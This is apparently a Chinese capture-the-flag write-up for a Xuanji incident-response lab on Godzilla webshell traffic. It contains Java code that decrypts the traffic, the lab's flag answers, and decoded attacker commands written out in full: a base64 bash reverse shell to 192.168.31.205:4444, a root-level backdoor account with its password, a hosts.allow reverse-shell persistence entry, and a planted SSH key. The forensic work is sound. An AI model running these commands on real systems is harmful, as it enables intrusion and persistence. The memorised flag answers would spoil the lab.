玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{.index.jsp}

flag{mypass}

flag{9adbe0b3033881f8}

package com.ezgame;import java.io.*;import java.net.URLDecoder;import java.nio.charset.StandardCharsets;import java.util.Scanner;public class test {    class X extends ClassLoader {        public X(ClassLoader z) {            super(z);        }        public Class Q(byte[] cb) {            return super.defineClass(cb, 0, cb.length);        }    }    public static String md5(String s) {        String ret = null;        try {            java.security.MessageDigest m;            m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();        } catch (Exception e) {        }        return ret;    }    public static byte[] x(byte[] s, boolean m, String xc) {        try {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));            return c.doFinal(s);        } catch (Exception e) {            return null;        }    }    public static String base64Encode(byte[] bs) throws Exception {        Class base64;        String value = null;        try {            base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });        } catch (Exception e) {            try {                base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;    }    public static byte[] base64Decode(byte[] bytes) {        Class base64;        byte[] value = null;        Object decoder;        try {            base64 = Class.forName("java.util.Base64");            decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});        } catch (Exception e) {            try {                base64 = Class.forName("sun.misc.BASE64Decoder");                decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});            } catch (Exception e2) {            }        }        return value;    }    public static void main(String[] args) throws Exception {        String xc = "9adbe0b3033881f8";        String pass = "mypass";        String md5 = md5(pass + xc);        Scanner scanner = new Scanner(System.in);        System.out.println("请输入URL编码的字符串：");        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));        String encodedString = reader.readLine();         String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());//        System.out.println("URL解码后的字符串：" + decodedString);        scanner.close();        byte[] data = base64Decode(decodedString.getBytes());        data = base64Decode(data);        System.out.println(new String(data));        byte[] res = x(data, false, xc);        FileOutputStream fos = new FileOutputStream("res1.zip");        fos.write(res);        fos.close();    }}

Scanner scanner = new Scanner(System.in);        System.out.println("请输入URL编码的字符串：");        String encodedString = scanner.nextLine(); // 获取用户输入的字符串        scanner.close();        byte[] bytes = base64Decode(encodedString.getBytes());        System.out.println(new String(bytes));        byte[] res = x(bytes, false, xc);        FileOutputStream fos = new FileOutputStream("res2.zip");        fos.write(res);        fos.close();

flag{cat /etc/passwd}

flag{Rec106e_config}

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash

flag{192.168.31.205,4444}

flag{ls}

echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bashuseradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash

flag{x,Xj@666.}

echo ZWNobyAnQUxMOiBBTEw6IHNwYXduIChiYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zMS4yMDAvNDQ0NCAwPiYxIikgJiA6YWxsb3cnID4gL2V0Yy9ob3N0cy5hbGxvdw==|base64 -d|bash

flag{/etc/hosts.allow}

mkdir /root/.bash_h1story/echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEUE5LUDNRTCtpMXNhZmRzVTZaYjJNdW9CalpZcmVBRGp3aGJQM2R6WnBqd3g4YUM3WDFrOXNiOElFS1NqdnNXeGJiNG5DN3Ivd3pIS0hvMGJkbndkTTZSaXNqbmlvYjYrMGM0SW1CemtzeHZuUjNsSmpRZTVIdyt3aTQreW5BL0QzVTE5T2F6UnhjYTVJMUw2T05zcFNBYTNzNHN3MlFveGJ1QlZGZWwrSUtCemVicDhLN1ZCM0tyM1pscnk1TlRkNTJJbm4zNDd6WldmYjU2b2x4UmFIVEo2SVhBSkxlRm1HVDZSMm5EdWwybFk4SFdTMkQ1azhsREM5b05ld1RqdEZLelBWaTlydER6R0h4RGMxK2szZ0tFMlFrS1VqQkVZZmVLbVUrTjVHbVRUM3RJWWZySlNmV2Z4d0RyQ3Z2aHFuZjJ3WlFZdFpDTmY0OEMvb3BIOEVoUkJRckgvWDk0ZHJYK2VYSk9tb3pRektKZmRpZFFzaFJ3U0tEZmY2dzFnWWs9IHhpYW9sZUB4aWFvbGVkZU1hY0Jvb2stUHJvLmxvY2Fs|base64 -d > /root/.bash_h1story/.keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole@xiaoledeMacBook-Pro.local

flag{d7bf0e27d6f533604250faceb28b6d4b}

flag{suo5}

flag{/connect}

flag{e3c77fd790af8d25fe271cd275eb405e}

flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}